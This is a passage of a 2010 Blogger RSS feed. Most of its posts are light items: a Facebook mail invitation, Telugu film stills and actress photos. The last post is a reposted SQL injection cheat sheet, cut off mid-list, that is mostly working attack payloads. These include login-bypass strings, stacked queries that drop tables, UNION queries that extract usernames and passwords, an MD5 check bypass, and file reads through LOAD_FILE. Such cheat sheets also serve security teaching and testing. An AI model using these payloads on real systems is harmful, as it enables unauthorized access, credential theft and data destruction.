url='http://3.bp.blogspot.com/_ndE0pPwTjUE/TOGDrS0Sq0I/AAAAAAAAA_k/n-l03C8Pcys/s72-c/zuck-e1289845077132.jpg' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-1846453163448170809</guid><pubDate>Mon, 15 Nov 2010 18:43:00 +0000</pubDate><atom:updated>2010-11-15T11:14:06.507-08:00</atom:updated><title>Facebook email Invitation</title><description>Facebook email Invitation&lt;br /&gt;Facebook e-mail Invitation&lt;br /&gt;FBmail Invitation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Follow This Link&lt;br /&gt;&lt;br /&gt;http://www.facebook.com/about/messages/&lt;br /&gt;Click on Invite Button.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-1846453163448170809?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2010/11/facebook-mail-invitation.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-6972946729383751471</guid><pubDate>Wed, 10 Nov 2010 07:23:00 +0000</pubDate><atom:updated>2010-11-09T23:27:26.898-08:00</atom:updated><title>Prabhas New Movie Mr. Perfect Prabas and Kajal</title><description>Prabhas New Movie Mr. Perfect Kajal Agarwal&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ndE0pPwTjUE/TNpJIWCXE5I/AAAAAAAAA_Q/7rb9ZS8u4qs/s1600/20101027_70231700.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 269px; height: 400px;" src="http://1.bp.blogspot.com/_ndE0pPwTjUE/TNpJIWCXE5I/AAAAAAAAA_Q/7rb9ZS8u4qs/s400/20101027_70231700.jpg" alt="" id="BLOGGER_PHOTO_ID_5537819099508708242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ndE0pPwTjUE/TNpJIDtZwII/AAAAAAAAA_I/WwPJiPhla_I/s1600/20101027_65288700.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 310px; height: 400px;" src="http://2.bp.blogspot.com/_ndE0pPwTjUE/TNpJIDtZwII/AAAAAAAAA_I/WwPJiPhla_I/s400/20101027_65288700.jpg" alt="" id="BLOGGER_PHOTO_ID_5537819094588964994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ndE0pPwTjUE/TNpJItYR7eI/AAAAAAAAA_Y/r2AWVJHZeRg/s1600/20101027_85423400.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 277px; height: 400px;" src="http://4.bp.blogspot.com/_ndE0pPwTjUE/TNpJItYR7eI/AAAAAAAAA_Y/r2AWVJHZeRg/s400/20101027_85423400.jpg" alt="" id="BLOGGER_PHOTO_ID_5537819105774661090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ndE0pPwTjUE/TNpI7kc40oI/AAAAAAAAA-4/mDh-q53-oS0/s1600/20101027_70101700.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 266px;" src="http://3.bp.blogspot.com/_ndE0pPwTjUE/TNpI7kc40oI/AAAAAAAAA-4/mDh-q53-oS0/s400/20101027_70101700.jpg" alt="" id="BLOGGER_PHOTO_ID_5537818880039768706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ndE0pPwTjUE/TNpI63tpeLI/AAAAAAAAA-w/krskdt9sxwo/s1600/20101027_76666500.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 276px;" src="http://1.bp.blogspot.com/_ndE0pPwTjUE/TNpI63tpeLI/AAAAAAAAA-w/krskdt9sxwo/s400/20101027_76666500.jpg" alt="" id="BLOGGER_PHOTO_ID_5537818868030470322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ndE0pPwTjUE/TNpI6Y780FI/AAAAAAAAA-o/X0ShYl9LVQI/s1600/20101027_91064200.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 330px;" src="http://2.bp.blogspot.com/_ndE0pPwTjUE/TNpI6Y780FI/AAAAAAAAA-o/X0ShYl9LVQI/s400/20101027_91064200.jpg" alt="" id="BLOGGER_PHOTO_ID_5537818859768959058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ndE0pPwTjUE/TNpI50vgKMI/AAAAAAAAA-g/t3wDZfXoyoQ/s1600/20101027_14359900.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 194px; height: 400px;" src="http://4.bp.blogspot.com/_ndE0pPwTjUE/TNpI50vgKMI/AAAAAAAAA-g/t3wDZfXoyoQ/s400/20101027_14359900.jpg" alt="" id="BLOGGER_PHOTO_ID_5537818850053073090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ndE0pPwTjUE/TNpI8ATS1qI/AAAAAAAAA_A/DRzUzqZOHq0/s1600/20101027_50182200.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 386px; height: 400px;" src="http://3.bp.blogspot.com/_ndE0pPwTjUE/TNpI8ATS1qI/AAAAAAAAA_A/DRzUzqZOHq0/s400/20101027_50182200.jpg" alt="" id="BLOGGER_PHOTO_ID_5537818887515723426" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-6972946729383751471?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2010/11/prabhas-new-movie-mr-perfect-prabas-and.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_ndE0pPwTjUE/TNpJIWCXE5I/AAAAAAAAA_Q/7rb9ZS8u4qs/s72-c/20101027_70231700.jpg' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-7616414686049490339</guid><pubDate>Tue, 02 Nov 2010 09:30:00 +0000</pubDate><atom:updated>2010-11-02T02:31:39.866-07:00</atom:updated><title>Khushiga Trailer</title><description>Khushiga Trailer will be coming soon....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-7616414686049490339?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2010/11/khushiga-trailer.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-7432591845560312684</guid><pubDate>Mon, 01 Nov 2010 12:04:00 +0000</pubDate><atom:updated>2010-11-01T05:09:28.999-07:00</atom:updated><title>Pawan Kalyan Khushiga Heroine Kriti Kharbanda</title><description>&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: verdana; font-weight: bold;font-size:180%;" class="Main_Description_Style" &gt;Kriti Kharbanda Pics&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6tzKSSH-I/AAAAAAAAA9s/eCNF5typ1a4/s1600/remote_image20100707-22457-vpio1r-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 328px; height: 400px;" src="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6tzKSSH-I/AAAAAAAAA9s/eCNF5typ1a4/s400/remote_image20100707-22457-vpio1r-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534552086530891746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6twtz1c4I/AAAAAAAAA9k/kL0JYfnwYKE/s1600/remote_image20100707-22457-t5esyl-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 327px; height: 400px;" src="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6twtz1c4I/AAAAAAAAA9k/kL0JYfnwYKE/s400/remote_image20100707-22457-t5esyl-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534552044527252354" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6tuswAn4I/AAAAAAAAA9c/hXtvyaa3G5s/s1600/remote_image20100707-22457-nyfj99-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 282px; height: 400px;" src="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6tuswAn4I/AAAAAAAAA9c/hXtvyaa3G5s/s400/remote_image20100707-22457-nyfj99-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534552009883033474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6trmMBNvI/AAAAAAAAA9U/Fzqu-2ttH-Y/s1600/remote_image20100707-22457-h20nr5-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 300px; height: 400px;" src="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6trmMBNvI/AAAAAAAAA9U/Fzqu-2ttH-Y/s400/remote_image20100707-22457-h20nr5-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551956581857010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6toVJhu2I/AAAAAAAAA9M/W7CizX5dDmw/s1600/remote_image20100707-22457-c68q0r-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 304px; height: 400px;" src="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6toVJhu2I/AAAAAAAAA9M/W7CizX5dDmw/s400/remote_image20100707-22457-c68q0r-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551900468394850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6tlSiCRSI/AAAAAAAAA9E/fp1HQ2gv-Lw/s1600/remote_image20100707-22457-bekjry-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 329px; height: 400px;" src="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6tlSiCRSI/AAAAAAAAA9E/fp1HQ2gv-Lw/s400/remote_image20100707-22457-bekjry-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551848226276642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ndE0pPwTjUE/TM6tiRY3CJI/AAAAAAAAA88/ULuXCnv2dUM/s1600/remote_image20100707-22457-arbwci-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 326px; height: 400px;" src="http://1.bp.blogspot.com/_ndE0pPwTjUE/TM6tiRY3CJI/AAAAAAAAA88/ULuXCnv2dUM/s400/remote_image20100707-22457-arbwci-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551796379748498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ndE0pPwTjUE/TM6teSEzL_I/AAAAAAAAA80/Fx2YOHk-T48/s1600/remote_image20100707-22457-133bjrm-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 283px; height: 400px;" src="http://1.bp.blogspot.com/_ndE0pPwTjUE/TM6teSEzL_I/AAAAAAAAA80/Fx2YOHk-T48/s400/remote_image20100707-22457-133bjrm-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551727844569074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6ta3xYTiI/AAAAAAAAA8s/JOdmts-LzjM/s1600/remote_image20100707-22457-20whob-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 299px; height: 400px;" src="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6ta3xYTiI/AAAAAAAAA8s/JOdmts-LzjM/s400/remote_image20100707-22457-20whob-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551669244186146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6tXQpJKeI/AAAAAAAAA8k/M5KgfziV-SQ/s1600/remote_image20100707-22457-6uimfj-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 298px; height: 400px;" src="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6tXQpJKeI/AAAAAAAAA8k/M5KgfziV-SQ/s400/remote_image20100707-22457-6uimfj-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551607201049058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6tUNCrfpI/AAAAAAAAA8c/AjQXejRFWa0/s1600/remote_image20100707-22457-1stlyop-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 285px; height: 400px;" src="http://4.bp.blogspot.com/_ndE0pPwTjUE/TM6tUNCrfpI/AAAAAAAAA8c/AjQXejRFWa0/s400/remote_image20100707-22457-1stlyop-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551554694807186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ndE0pPwTjUE/TM6tQTXIQ7I/AAAAAAAAA8U/_KEDUZCBYGk/s1600/remote_image20100707-22457-1rdjqje-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 300px; height: 400px;" src="http://2.bp.blogspot.com/_ndE0pPwTjUE/TM6tQTXIQ7I/AAAAAAAAA8U/_KEDUZCBYGk/s400/remote_image20100707-22457-1rdjqje-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551487671714738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6tFkSoUeI/AAAAAAAAA8M/LNDGafHOnKk/s1600/remote_image20100707-22457-1jlcvqi-0.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 329px; height: 400px;" src="http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6tFkSoUeI/AAAAAAAAA8M/LNDGafHOnKk/s400/remote_image20100707-22457-1jlcvqi-0.jpg" alt="" id="BLOGGER_PHOTO_ID_5534551303237685730" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Main_Description_Style"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-7432591845560312684?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2010/11/pawan-kalyan-khushiga-heroine-kriti.html</link><author>noreply@blogger.com (Dileep Varma)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_ndE0pPwTjUE/TM6tzKSSH-I/AAAAAAAAA9s/eCNF5typ1a4/s72-c/remote_image20100707-22457-vpio1r-0.jpg' height='72' width='72'/><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-3493693864899260595</guid><pubDate>Thu, 14 Oct 2010 17:41:00 +0000</pubDate><atom:updated>2010-10-14T10:42:30.439-07:00</atom:updated><title>SQL Injection</title><description>Find and exploit SQL Injections with Free SQL Injection Scanner&lt;br /&gt;&lt;br /&gt;SQL Injection Cheat Sheet, Document Version 1.4&lt;br /&gt;About SQL Injection Cheat Sheet&lt;br /&gt;&lt;br /&gt;Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.&lt;br /&gt;&lt;br /&gt;Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.&lt;br /&gt;M :  MySQL&lt;br /&gt;S :  SQL Server&lt;br /&gt;P :  PostgreSQL&lt;br /&gt;O :  Oracle&lt;br /&gt;+ :  Possibly all other databases&lt;br /&gt;Examples;&lt;br /&gt;&lt;br /&gt;   * (MS) means : MySQL and SQL Server etc.&lt;br /&gt;   * (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server&lt;br /&gt;&lt;br /&gt;Table Of Contents&lt;br /&gt;&lt;br /&gt;  1. About SQL Injection Cheat Sheet&lt;br /&gt;  2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks&lt;br /&gt;        1. Line Comments&lt;br /&gt;               * SQL Injection Attack Samples&lt;br /&gt;        2. Inline Comments&lt;br /&gt;               * Classical Inline Comment SQL Injection Attack Samples&lt;br /&gt;               * MySQL Version Detection Sample Attacks&lt;br /&gt;        3. Stacking Queries&lt;br /&gt;               * Language / Database Stacked Query Support Table&lt;br /&gt;               * About MySQL and PHP&lt;br /&gt;               * Stacked SQL Injection Attack Samples&lt;br /&gt;        4. If Statements&lt;br /&gt;               * MySQL If Statement&lt;br /&gt;               * SQL Server If Statement&lt;br /&gt;               * If Statement SQL Injection Attack Samples&lt;br /&gt;        5. Using Integers&lt;br /&gt;        6. String  Operations&lt;br /&gt;               * String Concatenation&lt;br /&gt;        7. Strings without Quotes&lt;br /&gt;               * Hex based SQL Injection Samples&lt;br /&gt;        8. String Modification &amp;amp; Related&lt;br /&gt;        9. Union Injections&lt;br /&gt;               * UNION – Fixing Language Issues&lt;br /&gt;       10. Bypassing Login Screens&lt;br /&gt;       11. Enabling xp_cmdshell in SQL Server 2005&lt;br /&gt;       12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.&lt;br /&gt;&lt;br /&gt;Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks&lt;br /&gt;Ending / Commenting Out / Line Comments&lt;br /&gt;Line Comments&lt;br /&gt;&lt;br /&gt;Comments out rest of the query.&lt;br /&gt;Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.&lt;br /&gt;&lt;br /&gt;   * -- (SM)&lt;br /&gt;     DROP sampletable;--&lt;br /&gt;&lt;br /&gt;   * # (M)&lt;br /&gt;     DROP sampletable;#&lt;br /&gt;&lt;br /&gt;Line Comments Sample SQL Injection Attacks&lt;br /&gt;&lt;br /&gt;   * Username: admin'--&lt;br /&gt;   * SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'&lt;br /&gt;     This is going to log you as admin user, because rest of the SQL query will be ignored.&lt;br /&gt;&lt;br /&gt;Inline Comments&lt;br /&gt;&lt;br /&gt;Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.&lt;br /&gt;&lt;br /&gt;   * /*Comment Here*/ (SM)&lt;br /&gt;         o DROP/*comment*/sampletable&lt;br /&gt;         o DR/**/OP/*bypass blacklisting*/sampletable&lt;br /&gt;         o SELECT/*avoid-spaces*/password/**/FROM/**/Members&lt;br /&gt;&lt;br /&gt;   * /*! MYSQL Special SQL */ (M)&lt;br /&gt;     This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.&lt;br /&gt;&lt;br /&gt;     SELECT /*!32302 1/0, */ 1 FROM tablename&lt;br /&gt;&lt;br /&gt;Classical Inline Comment SQL Injection Attack Samples&lt;br /&gt;&lt;br /&gt;   * ID: 10; DROP TABLE members /*&lt;br /&gt;     Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --&lt;br /&gt;&lt;br /&gt;   * SELECT /*!32302 1/0, */ 1 FROM tablename&lt;br /&gt;     Will throw an divison by 0 error if MySQL version is higher than 3.23.02&lt;br /&gt;&lt;br /&gt;MySQL Version Detection Sample Attacks&lt;br /&gt;&lt;br /&gt;   * ID: /*!32302 10*/&lt;br /&gt;   * ID: 10&lt;br /&gt;     You will get the same response if MySQL version is higher than 3.23.02&lt;br /&gt;&lt;br /&gt;   * SELECT /*!32302 1/0, */ 1 FROM tablename&lt;br /&gt;     Will throw an divison by 0 error if MySQL version is higher than 3.23.02&lt;br /&gt;&lt;br /&gt;Stacking Queries&lt;br /&gt;&lt;br /&gt;Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.&lt;br /&gt;&lt;br /&gt;   * ; (S)&lt;br /&gt;     SELECT * FROM members; DROP members--&lt;br /&gt;&lt;br /&gt;Ends a query and starts a new one.&lt;br /&gt;Language / Database Stacked Query Support Table&lt;br /&gt;&lt;br /&gt;green: supported, dark gray: not supported, light gray: unknown&lt;br /&gt;  SQL Server  MySQL  PostgreSQL  ORACLE  MS Access&lt;br /&gt;ASP              &lt;br /&gt;ASP.NET              &lt;br /&gt;PHP              &lt;br /&gt;Java              &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;About MySQL and PHP;&lt;br /&gt;To clarify some issues;&lt;br /&gt;PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?&lt;br /&gt;Stacked SQL Injection Attack Samples&lt;br /&gt;&lt;br /&gt;   * ID: 10;DROP members --&lt;br /&gt;   * SELECT * FROM products WHERE id = 10; DROP members--&lt;br /&gt;&lt;br /&gt;This will run DROP members SQL sentence after normal SQL Query.&lt;br /&gt;If Statements&lt;br /&gt;&lt;br /&gt;Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.&lt;br /&gt;MySQL If Statement&lt;br /&gt;&lt;br /&gt;   * IF(condition,true-part,false-part) (M)&lt;br /&gt;     SELECT IF(1=1,'true','false')&lt;br /&gt;&lt;br /&gt;SQL Server If Statement&lt;br /&gt;&lt;br /&gt;   * IF condition true-part ELSE false-part (S)&lt;br /&gt;     IF (1=1) SELECT 'true' ELSE SELECT 'false'&lt;br /&gt;&lt;br /&gt;If Statement SQL Injection Attack Samples&lt;br /&gt;&lt;br /&gt;if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)&lt;br /&gt;This will throw an divide by zero error if current logged user is not "sa" or "dbo".&lt;br /&gt;Using Integers&lt;br /&gt;&lt;br /&gt;Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.&lt;br /&gt;&lt;br /&gt;   * 0xHEXNUMBER (SM)&lt;br /&gt;     You can  write hex like these;&lt;br /&gt;&lt;br /&gt;     SELECT CHAR(0x66) (S)&lt;br /&gt;     SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)&lt;br /&gt;     SELECT 0x50 + 0x45 (this is integer now!) (M)&lt;br /&gt;&lt;br /&gt;String  Operations&lt;br /&gt;&lt;br /&gt;String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.&lt;br /&gt;String Concatenation&lt;br /&gt;&lt;br /&gt;   * + (S)&lt;br /&gt;     SELECT login + '-' + password FROM members&lt;br /&gt;&lt;br /&gt;   * || (*MO)&lt;br /&gt;     SELECT login || '-' || password FROM members&lt;br /&gt;&lt;br /&gt;*About MySQL "||";&lt;br /&gt;If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.&lt;br /&gt;&lt;br /&gt;   * CONCAT(str1, str2, str3, ...) (M)&lt;br /&gt;     Concatenate supplied strings.&lt;br /&gt;     SELECT CONCAT(login, password) FROM members&lt;br /&gt;&lt;br /&gt;Strings without Quotes&lt;br /&gt;&lt;br /&gt;These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.&lt;br /&gt;&lt;br /&gt;   * 0x457578 (M) - Hex Representation of string&lt;br /&gt;     SELECT 0x457578&lt;br /&gt;     This will be selected as string in MySQL.&lt;br /&gt;&lt;br /&gt;     In MySQL easy way to generate hex representations of strings use this;&lt;br /&gt;     SELECT CONCAT('0x',HEX('c:\\boot.ini'))&lt;br /&gt;&lt;br /&gt;   * Using CONCAT() in MySQL&lt;br /&gt;     SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)&lt;br /&gt;     This will return ‘KLM’.&lt;br /&gt;&lt;br /&gt;   * SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)&lt;br /&gt;     This will return ‘KLM’.&lt;br /&gt;&lt;br /&gt;Hex based SQL Injection Samples&lt;br /&gt;&lt;br /&gt;   * SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)&lt;br /&gt;     This will show the content of c:\boot.ini&lt;br /&gt;&lt;br /&gt;String Modification &amp;amp; Related&lt;br /&gt;&lt;br /&gt;   * ASCII() (SMP)&lt;br /&gt;     Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.&lt;br /&gt;&lt;br /&gt;     SELECT ASCII('a')&lt;br /&gt;&lt;br /&gt;   * CHAR() (SM)&lt;br /&gt;     Convert an integer of ASCII.&lt;br /&gt;&lt;br /&gt;     SELECT CHAR(64)&lt;br /&gt;&lt;br /&gt;Union Injections&lt;br /&gt;&lt;br /&gt;With union you do SQL queries cross-table. Basically you can poison query to return records from another table.&lt;br /&gt;&lt;br /&gt;SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members&lt;br /&gt;This will combine results from both news table and members table and return all of them.&lt;br /&gt;&lt;br /&gt;Another Example :&lt;br /&gt;' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--&lt;br /&gt;UNION – Fixing Language Issues&lt;br /&gt;&lt;br /&gt;While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.&lt;br /&gt;&lt;br /&gt;   * SQL Server (S)&lt;br /&gt;     Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.&lt;br /&gt;&lt;br /&gt;     SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members&lt;br /&gt;&lt;br /&gt;   * MySQL (M)&lt;br /&gt;     Hex() for every possible issue&lt;br /&gt;&lt;br /&gt;Bypassing Login Screens (SMO+)&lt;br /&gt;SQL Injection 101, Login tricks&lt;br /&gt;&lt;br /&gt;   * admin' --&lt;br /&gt;   * admin' #&lt;br /&gt;   * admin'/*&lt;br /&gt;   * ' or 1=1--&lt;br /&gt;   * ' or 1=1#&lt;br /&gt;   * ' or 1=1/*&lt;br /&gt;   * ') or '1'='1--&lt;br /&gt;   * ') or ('1'='1--&lt;br /&gt;   * ....&lt;br /&gt;&lt;br /&gt;   * Login as different user (SM*)&lt;br /&gt;     ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--&lt;br /&gt;&lt;br /&gt;*Old versions of MySQL doesn't support union queries&lt;br /&gt;Bypassing second MD5 hash check login screens&lt;br /&gt;&lt;br /&gt;If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.&lt;br /&gt;Bypassing MD5 Hash Check Example (MSP)&lt;br /&gt;&lt;br /&gt;Username : admin&lt;br /&gt;Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055&lt;br /&gt;&lt;br /&gt;81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)&lt;br /&gt;&lt;br /&gt;Error Based - Find Columns Names&lt;br /&gt;Finding Column Names with HAVING BY - Error Based (S)&lt;br /&gt;&lt;br /&gt;In the same order,&lt;br /&gt;&lt;br /&gt;   * ' HAVING 1=1 --&lt;br /&gt;   * ' GROUP BY table.columnfromerror1 HAVING 1=1 --&lt;br /&gt;   * ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --&lt;br /&gt;   * ' 